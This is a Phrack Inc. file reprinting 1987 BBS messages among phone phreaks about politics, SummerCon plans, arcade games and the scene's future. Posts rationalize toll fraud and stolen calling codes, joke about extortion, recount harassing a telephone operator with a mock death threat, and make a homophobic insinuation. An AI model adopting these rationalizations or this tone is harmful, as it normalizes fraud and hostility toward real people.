About political classifications, I liked the Nolan chart much better than traditional Left‑Right wing grouping. Most people take left to mean communist and opposed to personal freedom. Some of the more famous left wing (radicals) are the Black Panthers from the late sixties, and others that I won't mention. Right wing conservative policies generally seem to be more realistic (but of course because they side with the current system and don't support radical change as left wing does). I think we do need change to prevent America from becoming a cesspool of violence, money, racism, and exploitation of both people and the environment (it's like that now though depending upon your viewpoint). It's a difficult question, because the root of the system is people‑people with stubborn entrenched attitudes. How are we going to change the entire system if we can't change ourselves and others around us? Impose a law? That would be fascist. In my opinion, freedom of expression and action should be allowed so long as it's not causing harm or violence toward the innocent (or the not so innocent). The Libertarian party summed it up quite well..but a political party doesn't make a perfect system.

To change the topic slightly, what do you feel about our actions (fraud, breaking and entering, etc) as far as morality (flexible and sometimes useless term) and justice? (That sounds corny but I don't know how else to word it).

Doom

54/100: We The People

Name: Knight Lightning 2

Date: 8:15 pm Tue May 12, 1987

Yeah well, what I was trying to say is that with college in the fall and the quite often occurence of 950 blocking from college campuses, a new area to have to scan for Telenet dialups or whatever and in general, I fell that as a whole, the phreak community will suffer greatly. Lets face it, there will continue to be a phreak community, but as I see it, today's phreaks, specifically those on this system or Catch have reached the highest plateau in the area of knowledge ever in the history of our community. This is not to say that it will never be surpassed, but somehow with more and more security involving itself in our affairs and the decline of interest I feel that this is the golden age and it will start to fall back until a new era begins many years from now.

The community will continue to exist no matter what, even if for no better reason than the rodent wares kids or the habitual code abusers.

As far as morality, I don't feel too concerned about it although I do believe it to be wrong. I try not to think about it too much. However, when the government or Reagan can make deals with terrorist and lose millions of dollars or throw it away, I don't feel to guilty about making illegal calls. Its all in how you rationalize it.

:Knight Lightning

55/100: KL....

Name: The Disk Jockey 13

Date: 6:42 am Wed May 13, 1987

Gee....isn't speeding illigal too? Like you said, it's all relative, but can you remember making your first code call? It's like you hang up, and your waiting for the phone to ring with someone saying "Your busted......" I guess its all a form of de‑sensitizing, after a while, you really ignore or don't realize the extent of the illigal‑ness of the activity that you are doing.

KL‑I'm still working on that "Laws of preaking....." stuff that we talked about, while reading over old notes, etc, it can make you realize what you are "up against" if you are caught. Basically, your screwed if an adult. For the most part you are seeing about 30 days jail time, full restitution, and assorted court costs. Not a good time. I was wasted a few nights ago and debated calling up a LD company and telling them that I had hacked EVERY code they had, and would sell them the code file for $1000, else turn the file public. Wonder what they would do? I sure wouldn't want to be the one at the bank cashing the check, extorsion (sp?) is pretty big time stuff....

The Disk Jockey

56/100: General Nonsense.

Name: Evil Jay 26

Date: 8:29 am Wed May 13, 1987

Face it folks. Were heading down the long road to communism. Our leaders are pretty much all corrupt. I think our country stinks. And I think in a few years the "kiddies" will feel the same. Face it, we talk about anti‑drug bullshit, and all this anti‑that and anti‑this, but our leaders are setting a great example to the future leaders of our country, arent they? This country is headed anywhere but uphill, and I hope I die before it all falls to peices. Im old enough to vote, but chose not to and never will. I dont care about politics even though I should. Id rather not take a small part in the downfall of the good ole US of A. I dont follow politics, and I dont watch

..(sorry, double cr) the news. Why? Because its all BAD thats why. Anyway, I hope to enjoy my life to the fullest without worrying about stupid shit, like Reagan and his scams. One thing that does piss me off is this big drug war. Its alot of nonsense if you ask me. The people that end up fucking up there lives are the people who have no sense and get burnt on heavy drugs (Coke, LSD...etc) and they end up either dead, dying, fucked up or trying to rebuild there lives. Needless to say, they forgot about having a good time. They got addicted. Stupid, stupid, stupid. Cmon folks, wake up...whats life about? Having a good time and living the fullest and richest (I sound like an ad for Folgers) life you possibly can Killing yourself isnt the answer. I know, Im rambling on. Oh well. About this phreak war thing, we all know its bullshit. Ifthe phreaks did unite (something pretty much impossible ‑ will never happen), who do you think would win? The government or the phreaks? Even if we didnt get caught, we would still lose. The puppet‑masters have our senile president right where they want him, and no matter who does what, they can keep them there for as long as they wish. (At least til the end of his term, anyway). Its a suicide mission. It cant be won. No one will ever be powerful enough to take on our government. No one but non‑americans would aid him, and theres too many people afraid of the "bomb" for that too happen. So all we could do is piss them off, thus giving them an even better reason to exterminate us all. Anyway, thats about all I have to say on the matter(s).

Sure Im for the American Way. Its the people who are trying to fuck it up for all of us that I dont like...

‑J

57/100: WELL...

Name: <<< Sir Francis Drake 56 >>>

Date: 4:22 pm Wed May 13, 1987

lets see...

a) Yeah KL, after this year there will be a 'drop' in the phreak scene as lots of people go off to college but after awhile new phreaks will come to replace them. This certainly isnt 'The Golden Age of phreaking'. Wait until the who country is tied into a network, when EVERYTHING is on computers, and the phone system connects the whole world in a standardised way. THAT will be the 'golden age'.

b) EJ, the people who 'are trying to fuck it up' are the people who are too fucking lazy to get involved....

sfd

58/100: Golden Age

Name: Knight Lightning 2

Date: 5:34 pm Wed May 13, 1987

Actually Sfd, this is the Golden Age, becuae by the time the whole world is networked like you said, there will be so much security and tracing will be a standard feature and we will be even more stuck than ever before.

EJ, you can't solve a problem by ignoring it. Not voting is stupid unless you don't know how to vote. That is you don't know which side is more worthy (if any) of your vote.

Phreaks as a force? Make a great movie, but it'll never ever happen.

:Knight Lightning

59/100: KL......

Name: The Disk Jockey 13

Date: 7:59 pm Wed May 13, 1987

...and any other St. Louis locals, why don't you invite some (actually lots) or chicks to come to the party part of this convention? EVERYBODY likes hotel parties, I've had a few in Kansas City at the Embassy Suits that were secondto (to) none! Besides, not all of us are gonna get off on B‑Way.....

I want to get something out of this trip besides hung over.....

I'll show them (the girls) my Cosmos manuals and impress them! Ya, right.....

60/100: Well

Name: Knight Lightning 2

Date: 10:45 pm Wed May 13, 1987

Things would definately get out of hand if we did that. I mean the word would spread and then the whole idea of having a phreak con would be gone. Plus we would definately end up being thrown out.

Still, anyone else have any input on this?

:Knight Lightning

61/100: getting back to...

Name: Lex Luthor 36

Date: 10:02 am Fri May 15, 1987

Getting back to that "golden age" deal, well I am sure there will be a time when more and more things will be networked, but saying they will have all this security and tracing shit is ridiculous. There will always be bugs and holes to be exploited, and security always comes last for everything. The only people who think security should come first are the ones whose job is security. Making products, consulting, etc. Everyone else puts security low on the list. It will probably remain that way indefinitely. Look at the show Max Headroom. I think it is one of the best shows on TV. A lot of people don't like it. They don't understand it. Sure some things are a bit ridiculous like the old‑style typewriter keys used for computer keyboards, but basically the show is quite interesting. It appears that just about everything in existance is networked in some way to some central processor. Every building, and everything within those buildings are networked. Ang gaining access to the network, allows you to gain access to just about anything, assuming you can defeat any security involved. I like the show mainly due to the security and insecurity involved. They are constantly breaking the security on everything.

The show probably is based on some variation of the future, and it does show that no matter how sophisticated things get, there always will be ways around it. Having the ability to defeat these controls, allows you to have control over your own destiny as far as concepts of 'big brother' are concerned.

If the government turned into the big brother depicted in 1984, I am sure those "good enough" would not be as affected. They would simply find ways to get around controls and modify or neutralize anything that was threating to them.

Since everyone has been rambling, I thought I would ramble some too.

62/100: SFD's Comments

Name: Lotus 38

Date: 1:40 pm Fri May 15, 1987

I also have to disagree with your first comment. Just because everyone is going to college does not mean we will loose that many people. When I left about 2 years ago, I still tried to call here as much as I could. Taran (or Knight) did bring up a good point about college systems getting smarter but if you go to a college that is good enough to have phones in each of the dorms (or if you live in an apartment) then most of the time you don't have a thing to worry about.

63/100: well...

Name: Sir Francis Drake 56

Date: 11:16 pm Fri May 15, 1987

Actually, the idea of losing people due to college was KL's postulate... and I basicaly agree with it. Sure some people will keep being involved but most wont have the time, equipment, and the fact that they will no longer be treated as a minor by the law will act as a detriment. (no that sentence wasnt constructed right...)

Yow Lex...Cyberpunk for ever...Speaking of which (this belongs on the phrack sub but Ill forget so...) would anybody be interested (besides me) if I somehow managed to interview William Gibson, author of Neuromancer & Count Zero, about what he thought the future of "computer crime" was? Make it into a file & put in in phrack. Well *I* think it would be cool.

sfd

64/100: Dial 0 for harassment

Name: Taran King 1

Date: 12:50 am Sat May 16, 1987

Ok, me and Bill are here right now on my 3‑way with the 0perator. We had her connect us to 314‑070‑1000. Bill said that he was priveledged and that he had to speak to his brother in the post office. When we thought the 0perator had left the line, Bill proceded to simulate an 800 DA ring with his lips. When the operator came on, he asked for the first company with Banana in its name and we were given Banana Educational Software and cracked up. We were hooked up to a recording. After the recording said 800‑328, the operator came on and said she was reporting this line. She said she has had previous accounts... The operator then paused and said, "Yes, yes I'd like a trace. The number is 314‑432‑0756, good you traced it." She then proceeded to access another loop and keep us on hold for several minutes. Oh, forgot a part. After she finally consented to connect the number, Bill said that she could go, and she says, "No, I want to hear this!" and then she became silent until she started being rude and decided that she was working for the FBI and set up a trace.

ANYWAY, after being put on hold for a few minutes, she came back and we requested the supervisor and she wouldn't give her to us. We eventually got dropped. We couldn't even file a complaint because we didn't have her fargin' name. I say we kill her. I say we hang her, then we kill her. I say we tattoo her, then we scorch her, then we hang her, and THEN we kill her.

I say you give her to me!

‑TK

65/100: The Modem World

Name: Knight Lightning 2

Date: 9:44 am Sat May 16, 1987

Yes that is correct, as many of us get older, the laws surrounding us are due to change will will affect our outlook as to just how important the phreak/hack community really is to us. Some of the people that feel threatened may start paying for calls rather than phreak, but this then gets expensive.

Furthermore, in college, there is most liklely little time for this. Now Lex may disagree becuase his exsperience may be a bit differenet, but he also takes anout a month or more off between calls here. In reference to Cheap Shades, he ran Metal Shop AE here in StL. Then off to college, he brought the computer and put up QuickShop. However, he had little time to use it and the necesssity to use his only voice line (the bbs line) came up more and more often. Eventually he just took it down and he doesn't call anywhere.

I said that the class of 87 going to college would harm the phreak world, not destroy it and I still hold that opinion.

:Knight Lightning

66/100: HBO

Name: Lotus 38

Date: 11:04 pm Sat May 16, 1987

Did anyone happen to catch the HBO special about the Chicago trial? Geez, if that thing doesn't get you mad about cops and the political system in so me was (ie the system) I don't know what would. The interesting thing is that Hoffman is still out there fighting the causes. Does he still live in NY or what?

67/100: Abbie

Name: Thomas Covenant 84

Date: 6:03 am Sun May 17, 1987

There was an article on him in PEOPLE a couple years back (5‑7 years, maybe?) that told what he was doing currently. I have no idea on the situation today. I love selective memory! I can remember dumb things like that, but can't remember where I left my tie ‑‑ and I have to leave for work in 2 minutes! ARGH!

68/100: WELL...

Name: Sir Francis Drake 56

Date: 6:22 pm Mon May 18, 1987

Geez, Abbie has been in the news alot recently. He was arrested along with Amy Carter for trespassing on CIA property. When they went to court there defense was that they were breaking a law in order to stop a larger crime (which means it is legal, example a person runnin a red light to chase a bank robber or some such)...AND THEY WON! So basicaly the federal court admited that the CIA is breaking laws...A pity they dont fucking do something about it.

But yeah, he's a great guy.

sfd

69/100: Back to voting.

Name: Evil Jay 26

Date: 2:40 am Tue May 19, 1987

I hear, Im stupid for not voting, Im fucking up the world by not participating. I wonder if any of you voted for Raygun, eh?

‑J

70/100: Summercon.

Name: Evil Jay 26

Date: 5:54 am Tue May 19, 1987

Read my latest attempt at humor (if you can stomach it) on drive H. File is called ADVENTUR.TXT. Its actually called, Tales of Misadventure ‑ Summercon. And while Im probably not a seer you will see my prediction of the adventures I'll have at Summercon. Lets hope not of it ever comes to pass.

‑J

71/100: Hoffman

Name: Doom Prophet 21

Date: 6:52 pm Tue May 19, 1987

I think that Hoffman was charged with 'Disturbing a school' and disorderly conduct. Amy Carter supposedly sat down in front of a vehicle (a bus or an oinkmobile). It was on a universityy campus, not CIA property (unless they made that up recently). I followed it in the papers also, it was interesting to see something like that happen. The CIA have not stopped with Nicaragua, but now we have dragged Honduras, Mexico, Isreal, and other countries in our feud with the Sandinistas, along with CIA/DEA dealings involving drug smuggling to fund the Contras.

While we're on this topic, I just read an article in Reader's Digest that basically called the nuke freeze movement communist and corruptive. He had some good points however, which only goes to show that both the U.S. and Russia are at fault in certain situations. The test ban breaking by Ronn ie was shitty though. All the true important details are underplayed anyway.

Good day

Doomy

72/100: Part II

Name: Evil Jay 26

Date: 10:39 pm Tue May 19, 1987

Will be up by the time you read this. If your are dreading Summercon this is what you can (not) look forward too. hehehe...

‑J

73/100: Part III

Name: Evil Jay 26

Date: 6:48 am Wed May 20, 1987

Well, (yet another msg) Part III is finished and up. The Summercon Saga is over. Im sure you'll be sickened and appalled, but that was the whole purpose wasnt it? How about "Summercon 2001"?

‑J

74/100: What the fuck....

Name: The Disk Jockey 13

Date: 7:16 am Wed May 20, 1987

....is the deal now? Goddamn Iraq "accidentlly" shoots a missle from a russian‑made aircraft to an oil ship, owing the hull all to hell, their president says "It was a gastly accident" and when this ship was trying to call the US to ask permission to return fire, Congress was recessed, and Reagan was getting on a plane to go to Tennessee to talk to some fucking high school for thier commencment. 37 fucking people are dead at last count, and the only thing that Ron has to say is "We are going to have a complete investigation...." Right! The US is really beginning to look like saps to these fucking shit‑head countries, and Ron's other comment was "Any action simular to that in the future will be delt with severly."

What an asshole.

‑A pissed off Disk Jockey

75/100: Wimper..

Name: Ax Murderer 7

Date: 5:41 pm Wed May 20, 1987

Yeah, while he's getting stiff talking to a group of high schooler's, men are dying. SUUUURE! It was an accident. Just like it was an accident when he bombed Libya...Sure. I think we should have at least fired back. Reagan always seems to wimp out on some. He is better than any other we've had, but please!

Ax Murderer

76/100: well...

Name: Sir Francis Drake

56

Date: 6:22 pm Wed May 20, 1987

Aurgh, just when I was begining to think that MSP users were not Reagan lobotomized zombies the old "Dont let those little countries push us around, we should nuke 'em into oblivion" comes back. Yucky.

First of all DJ, I heard the plane that shot the french missle at our ship was either a) french or b) american (phantom)...So lets not do a "god damned russians are behind everything"

Maby it was sorta silly having the ship being there in the first place ya know?

(Yeah doomy, it was on Amy Carters school campus but it was the CIA recruiting center on it where the demonstration took place)

sfd

77/100: well

Name: Lex Luthor 36

Date: 5:20 pm Thu May 21, 1987

No matter what America does, we would/will be criticsized. If we retaliated about the iraq incident we would be bullies again. If we didn't (we didn't as you know) then we will be too soft. Its a no win situation. When we bombed libya we were bullies. But if we didn't we would be wimps. Its bullshit. Damned if we do and Damned if we don't.

78/100: Bombing

Name: The Sensei 18

Date: 6:21 pm Thu May 21, 1987

The Iraq accident may be real. The ship didn't have any defences ready. Now they tell us it was 2 assault missiles. There is not much Reagan can do. He can't punish them, they get nothin g major from us. Reagan made a good decision on the Libyan deal, he's don e his job. How many terrorist have screwed with Americans lately? Not many.

Ts

79/100: Whoa!

Name: Cheap Shades 3

Date: 1:38 am Fri May 22, 1987

First of all accidental or not, it shouldn't have happened. Secondly the captain of the ship did have permision to fight back. It was under attack. The captain just didn't switch from automatic to manual soon enough to shoot anything. Thirdly, the plane was American made and the missle was French (like SFD said), they have that shit because we support Iraq's side in this Iraq vs Iran war. We could easily punish Iraq for what they did but then we'd lose our initial investment in their struggle.

Later

Shades' $0.02

80/100: DIS

Name: Doom Prophet 21

Date: 6:35 am Fri May 22, 1987

Hmm..on Libya, the press releases from the White House were lies. Khadafy didn't threaten us with further terrorism, the U.S. used his country for a scapegoat for the American people. However, the disinformation was vastly underplayed in the very same news we were brainwashed with. A lot of papers and news media is owned by large corporations. Do you want the businesses that caused an invasion of Cuba in this century to put thoughts into your head? So the Soviets invaded Afghanistan in 79. But of equal tyranny was thte U.S. foreign policy toward Cuba (since our business is threatened by Castro we will make war and the excuse will bbe we were fighting communism) earlier on. So both of the superpowers suck. Now we have to support another war. How long will it be before we are having Blood and Guts rambozos like Ollie North running around in a mess of secret things 'to protect our national interest'.

America wants oil, to get it, it needs puppets

So what's 10 million dead if we're keeping out the Russians?

‑Dk

Doomy

81/100: Steal This Book

Name: Icarus 15

Date: 8:48 am Fri May 22, 1987

Hoffman's book seems very interesting. Does ANYONE know where I can get a copy of it? Who published it?

Icarus

82/100: Switching

Name: The Sensei 18

Date: 7:15 am Sun May 24, 1987

I believe it was from Manual to Automatic. The guy had it on manual.. .and was half asleep. With all the commosion, etc...no‑one could think.

Ts

83/100: My little Droogies

Name: The Executioner 19

Date: 9:44 pm Tue May 26, 1987

After all this time, same old faces and names...

Everyone like PHRACK 13? I know I had a joy writing it...

Well...cei la vie eh?

84/100: One more time around

Name: The Executioner 19

Date: 9:52 pm Tue May 26, 1987

Yes, count them, TWICE I will leave a message...

Is the rad bbs ShadowSpawn!!!!! still up? just a little note of curiosity, bordering on the verge of total spasms of laughter....

And what about HPO? whats the deal fellas??

God

85/100: SHADOWspawn

Name: Lucifer 666 43

Date: 11:40 pm Tue May 26, 1987

PW took it down to do some work and to have the line and also to make some money ???| ask ctrl c... you should be seeing it back up this summer, ex.

L666

86/100: HPO

Name: Mad Hatter 51

Date: 2:49 pm Wed May 27, 1987

Hell Phrozen Over is down now because of hard disk problems. He got his computer back then the drive went...

‑Hatter

87/100: Oh neat

Name: The Executioner 19

Date: 6:05 pm Wed May 27, 1987

Well, that's seems really sad, HPO had I think the longest duration without ever being down...hmm...oh well...it twas a nice system, no?

U2 in concert was aweomse....

And front row to the Psychedelic Furs was the best...

Genesis on Saturday and Billy Idol on Tuesday...can't wait

Exy

88/100: General stuff..

Name: Kerrang Khan 34

Date: 2:00 am Thu May 28, 1987

i just found out how to beat a videogame called Galaga the other day. If you leave the bottom left bee‑like creature alone on the first 'stage' and let it swoop by for about 10 minutes, eventually it will stop shooti ng at you. at that point you can kill it, and for the rest of the game, nothi ng will shoot at you. kind of interesting. i've found alot of odd 'bugs' in video‑games over the years (tempest, defender etc).. although i don't spend too much time playing them, i like hearing about these things. anyone give a hoot, or shall we go back to discussing CAMA tapes (by far the more important to me, ahem).. or is it AMA tapes... who cares.

k

ps: anyone still prefer a decent pinball game to video games these days?

89/100: A neat game

Name: The Executioner 19

Date: 10:12 am Thu May 28, 1987

A neat video game I saw was called "Contra", really fast and furious, also a game called Rolling Thunder was interesting. The Joust Pinball game is pretty fast, but I still prefer the video game if and when i drop by an arcade.

Exy

90/100: Tempest....

Name: The Disk Jockey 13

Date: 11:00 am Thu May 28, 1987

What can you do with Tempest? I have the actual game at home, about the only thing that I have ever found is that on some settings you can press the player one button and you can jump to the next level....

‑The Disk Jockey

91/100: Games

Name: Lex Luthor 36

Date: 1:56 pm Thu May 28, 1987

I prefer pinball since most videogames are too slow for me. Pinball can be quick and keeps me interested. High‑Speed is one of the better games.

Most people know that on Defender after you reach 990,000 every thing you hit gies you a free guy up until 1 million when it "rolls over" to 0 again. You don't receive new guys again until the last of your men are used up. It is recommened to not use that many smart bombs during this time and let the guys die. If you can get to a million then you should never have to worry about not being able to get free men. Personally I think defender is one of the best games of all time, since it has all the action I need. Asteroids Deluxe, the hard one is a good game, just you can't find it anymore.

92/100: Gauntlet

Name: Slave Driver 58

Date: 9:10 am Fri May 29, 1987

and Gauntlet II are two very good games if you have 4 people that know how to play the thing. Galaga is a very good game, but my personal favorite is Qix, yes, I know thats sad, but hey...

On that Stark thing, the reason they didnt have that defense system on auto is as follows. First of all it uses extremely hig density lugs weighing 30 lbs and shoots 3,000 a minute. It uses radar to track the thing in and just blasts the shit out of it. The problem is, anything of any decent size with radar would get the shit blown out of it, its not selective. I dont think it would be too nice to be coming in in a little helicopter (sp?) and have this thing shoot 3000 rounds a min at you. Something like that could ruin your day...

The Exocet the missle that hit them| travels several hunderd miles an hour at a distance of 8 feet from the water. Neithers the AWACS nor the ship detected the launch on radar, although the ship detected Radar Lock always a sign of agression. They did not know the thing was coming till they spotted it visually. By the time word got to the Information Center, they had 7 seconds to respond... oh well...

Slave Driver

Sorry, U2's music was good, but the concert wasnt that great. But I guess you had to go to a lot of previous concerts to know that...

93/100: Video's

Name: The Mad Hacker 47

Date: 6:55 pm Sat May 30, 1987

My Favorite Video Game has to be Robotron. Weird game. When I first played it, I spent all kindsa Quarters without too much luck. Last time I played it I Let the game go at 9 Million Something. Only thing is you have to have an afternoon to play.....

The Mad Hacker

94/100: Games

Name: Icarus 15

Date: 3:19 am Sun May 31, 1987

The best pinball game is Pinbot. Before that; High Speed. Does anyone remember Zookeeper? That was a great videogame, except it can't be found anywhere.

Me

95/100: Jake Cutter

Name: Control C

8

Date: 10:00 am Sun May 31, 1987

Is one of the best games. It's kinda slow, no sound, but it's a great game. Also The Heist is fun too.

96/100: well...

Name: Sir Francis Drake 56

Date: 11:29 pm Sun May 31, 1987

Two Tigers can be cool with two people..

sfd

97/100: Video ames

Name: Mad Hatter 51

Date: 12:00 pm Mon Jun 01, 1987

hI usually a Gauntlet player.. I got some friends and we just fuck around with it.. Paperboy is a little old, but still good.. 1 1/2 hours left of school(tomorrow)... W0W!

‑Hatter

98/100: tempest and things..

Name: Kerrang Khan 34

Date: 12:37 pm Mon Jun 01, 1987

the low down on tempest ‑

first you have to play normally until you reach the red V shaped level. when you reach the one after that (a square‑ish V) you can die or (read on)

you have to get a score over 170,000 for this bug to work (the red V's bonus is something like 180k so its easier to just die and play a new game. in order to get 170k+ on one quarter requires you get up into the yellow levels which is kind of tough). anyway, once you have 170,000 plus point the key is to get the last two digits of your score to a specific number and then just die. you can jump your score by two points by shooting 'spikes' and by one point for finishing off a spike (you work it out).

some interesting two digit numbers are

12, 17 ‑ 40 free credits

05 ‑ dumps you into playing the attract mode (more on this)

00 ‑ freeze game in attract mode

01 ‑ reset game (puts you into the maint. screen)

46 ‑ changes level you can start at.

48 ‑ lots and lots of 'ships' (mode on this too).

you set up your score and die, then wait for the game to cycle through the attract mode, and then things will happen. 17 just starts adding credits and you can play normally, but you can have much more fun with 05. this just dumps you into the game tempest will be playing with itself. at this point, ALL the strange things you can trigger off will go on while you are playing. if you can hit 48 your ships will start multiplying, up to about 255 (guess), and if you can do this, you hit 01 and wait after which your game will 'normalize' and you can play all day to some outrageous high score. if you hit 00 though, the xDgame will freeze up on you. anyway thats a rough outline, and it only works on older versions. how did you get your own tempest machine DJ?

k

highspeed isnt a game, its a way of life.

"Dispatch to 504.... he what?"

99/100: New Modz!@!!

Name: Taran King 1

Date: 5:23 pm Mon Jun 01, 1987

Try out our new modz, compliments of Cheap Shades. The N:eed Acronyms is now a separate database‑type function with search string and all so if you're baffled, you can search for the specific acronym without listing the whole damn thing. Use it well

‑TK

100/100: Farrari

Name: The Sensei 18

Date: 6:05 pm Mon Jun 01, 1987

I usually play the Farrari game. I've only gotten up to around 67 grand. The game allows you to sit down and get a stereo sound with the whole machine moving with you. Such as a car would do.

As for U2 concert....I'm still waiting for it to hit MN. Idol was great. So was the Cult.

Ts

Post on Metal/General Discussion? No

Phrack Inc./Gossip

==Phrack Inc.==

Volume Two, Issue 20, File 6 of 12

Metal Shop Private's ‑‑ Phrack Inc./Gossip

~~~~~~~~~~~~~~~~~~~~~~

The Phrack Inc./Gossip subboard included mostly conversation involving gossip in the phreak/hack world as well as the discussion of files for and the organization of the Phrack Inc. newsletter.

1/100: well...

Name: Sir Francis Drake 56

Date: 6:26 pm Wed Apr 29, 1987

Yet another version...

PWN PWN PWN PWN PWN PWN

St. Louis ‑ Well, the SummerCon has come and gone and nothing has changed. It started off well, with almost 80 people arriving. We knew something was wrong when people wouldn't put nametags on becuase they were embarresed. And then when they all drank large amounts of beer, it was realised "Hey! These phreaks arn't any differnt! There just typical teenagers who beli eve being drunk is fun 'cause the rest of the time they feel so shitty. No one was busted, the police just felt sorry for the weak attempt at Dyonisiun excess. Oh well, maby someday people will realise that false bravado and bragging of inebriation is simply stupid.

"Hey, that wasn't even funny."

sfd

2/100: Umm...

Name: Knight Lightning 2

Date: 11:24 pm Wed Apr 29, 1987

Hey SFD, you need to title those articles remember? But seriously, SummerCon will undoubtably be a quite fun activity but lets face it, no one is going to learn much about phreaking or hacking that weekend, not with all the excitement of meeting new people and partying, which kinda relates that you'll forget everything anyway.

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Phreak World Crippled; SummerCon Causes Despair June 22, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Today the phreak world was astounded and dealt a horrifying blow as all the phreaks who attended summercon, left with their entire phreak knowledge literally erased from their minds due to an excess of drinking and other unknown mind altering substances. it is unknown as to if these effects are temporary or a lifetime destruction.

PWN PWN PWN PWN PWN PWN PWN PWN PWN

Anarchy World Takes Charge June 23, 1987 ~~~~~~~~~~~~~~~~~~~~~~~~~~

MetaliBashers Inc, have become the new "LOD" of the modem worl since all of the LOD members no longer can even remember what LOD stands for (in fact no one can). With MBI taking charge, the new wave of the modem world has turned strictly anarchy although there are rumors of various pirating organizations beginning to unload new wares soon.

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Investigators Lose Jobs!

~~~~~~~~~~~~~~~~~~~~~~~~

John Maxfield reportedly lost ALL contracts today when it was discovered that the phreak/hack community was completely destroyed thus no one needed protection from them. He has now taken a job with the local sanitation management firm to help figure out what to do with all the garbage now that the phreak community wasn't stealing 1/3 of it anymore.

Hey this is getting fun huh?

:Knight Lightning

3/100: I heard

Name: Evil Jay 26

Date: 11:56 pm Wed Apr 29, 1987

straight from the horses mouth that The Rebel and some other people from that crowd are going to show. I actually got to hear the entire Howie episode. According to Rebel, Howie was busted, went to court and when his mother found out what he was doing (again) she completely and foreverly (bros?) took away his phone privelidges. I dont know about that...but oh well. I also heard from quite a few people who have met Exy, Delta‑Master and Bill from RNOC in person and the comments I receved were ...interesting.

PWN PWN PWN PWN PWN PWN PWN

Suicidal Nitemare ‑ History

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Suidical Nitemare met death head on when Evil Jay knocked on his door pretending to be a lineman checking on his line. Once inside, Jay prceeded to swing a hand set at Suicidal with amazing acurracy (sp). Once dragged outside, Jay then proceeded to tie Suicidal naked to a tree and call the ever‑lovin' Broadway Hacker over to do his stuff. Jay was last heard pleading insanity. Suicidal Nitemare remains in intensive care, and Broadway Hacker is happy.

J

4/100: Michigan

Name: Control C 8

Date: 2:10 pm Thu Apr 30, 1987

Doug,

Bad Subscript. LoneWolf, and I are all planning on going. Maby we could work something out. I think Ax Murdere, and Sir William will be going too. Call me and we'll talk about it.

Control

5/100: ROOMS

Name: Lucifer 666 43

Date: 4:07 pm Thu Apr 30, 1987

If broadway decides the stay in the public rooms then I'm not in that one...

also will it be like nametags?

~~~~~~~~~~~~~~~~~~~~~~~~~~

| hello I am |

|

| TARAN KING‑ randy |

__________________________ and so on....

also, I was wondering about the bust scene cause if I get busted in st louis, there is no way in fuck I could get bail money...

liquor, drugs,... driving with craig etc...

L666

6/100: Community rooms

Name: Knight Lightning 2

Date: 7:02 pm Thu Apr 30, 1987

Broadway is being banned from using the community rooms. If he goes, he will have to get his own, and I heard that this is what he claimed he would do if he went. I really don't think there is going to be any busts as long as no one brings anything real illegal, like a blue box or is standing down at the pay fones with a page and a half of codes in front of a cop or something.

3

L6 What do you mean driving with me?

:Knight Lightning

7/100: I do.

Name: Evil Jay 26

Date: 12:05 am Fri May 01, 1987

Because of the large amount of drinking and other crap, I'll bet my ass that more than 1 minor gets busted. I think we should all find some park or something. Actually, the better thing to do (which wont and probably cant be done now) is to rent some building for the night. Ive been to a few partys where they did that. No cops, outrageously loud music...it was great... wasnt cheap, but if everyone pitched in....

‑J

8/100: Hotel Parties

Name: Mad Hatter 51

Date: 6:57 am Fri May 01, 1987

i'm not very fond of them. I went to two of 'em and they both got busted. What are we(you) going to do if someone gets busted? I'm sure as hell that I don't want my parents getting a call from St. Louie PD saying, "Ahh, yes, Mr. xxxxxxx, you son was picked up at a hotel party for underage drinking. Can you please come pick him up?" Also, what about bail money? Jez, your screwed if you get picked up.

‑Hatter

KL, since BH is NOT allowed in the public rooms,(and if I go with him) does that mean I can't stay there? Any other k‑rad d00dzz coming?

9/100: Heh

Name: Taran King 1

Date: 7:06 am Fri May 01, 1987

No, you can stay in the room with the rest of the people, Hatter. I haven't even heard about this banning Bway from the room, so maybe KL's making decisions for Forest Ranger, but I'm not getting involved in the personal schtuff. A LOT of people are getting their own rooms so that they won't be stranded in the middle of nowhere if they get kicked out. We will just have to keep it moderated (not the drinking, just the noise). If you (you) know that you're getting down here by some manner, please leave feedback saying what form of transportation you're using so that I can get an idea of how many trips to each station will be made, carpools can possibly be created, etc. ‑TK

10/100: Drinking

Name: The Scanner 20

Date: 8:24 am Fri May 01, 1987

Whats the drinking age in St. Louis anyways? Please tell me they havent hit 21 yet.

11/100: SFD

Name: Doom Prophet 21

Date: 4:26 pm Fri May 01, 1987

I'm glad that someone has a dissenting opinion on the drinking scene. While I do like to drink (on an average of about maybe 1 or 2 times a month, unless parents are gone or something), I also think that bragging about drugs and alky takes/shows no intelligence, and the person who refrains from doing that is a non‑conformist. A bunch of people at my school call me 'the Anti‑Pot Crusader' and similar names because I dislike hearing about how fucking drunk and stoned, etc, everyone got over the weekend for 2 hours straight. But tht doesn't mean I think it's wrong (unless someone is abusing, etc, selling shitt to buy drugs). You could take myy messsage as being a 'conformist' drinking/etc post since I stated some things about TK being drunk and pu king, but I don't consider it that myself.

Doomy

12/100: well...

Name: Sir Francis Drake 56

Date: 8:07 pm Fri May 01, 1987

yup, glad to see you understand my position. Of course it is equaly lame to brag about how you never dring/take drugs. The key of course is to do what you actualy want to do, not what you have vbeen conditioned (by society and of course the dreaded 'p‑pressure') to do.

sfd

13/100: Drinking Age

Name: The Spectre 82

Date: 8:25 am Sat May 02, 1987

<I'm sure you are all wondering "who the hell is The Spectre?" Don't worry about it.> The drinking age in St. Louis, and all of Missouri, for that matter, is 21. Has been for a long time. And since most people on here are under 21, that could pose some problems.

14/100: Broadway

Name: Knight Lightning 2

Date: 10:13 am Sat May 02, 1987

Oh, ok Randy, you can sleep in the same room with Broadway. Don't bend over for the soap.

Forest Ranger did make some comments and so did Taran on Atlantis. We have to remember the saftey of the people going and without sounding crude, the question of Broadway's sexual preference has never been answered conclusively. There are several people who plan to attend that would be very concerned about their personal well‑being if they were forced to room with Broadway and I think that it would just make things simpler if B‑way grabbed his own room.

:Knight Lightning

15/100: I still.....

Name: The Disk Jockey 13

Date: 12:54 pm Sat May 02, 1987

think that Broadway won't show.....

16/100: Retraction

Name: Phantom Phreaker 46

Date: 10:51 pm Sat May 02, 1987

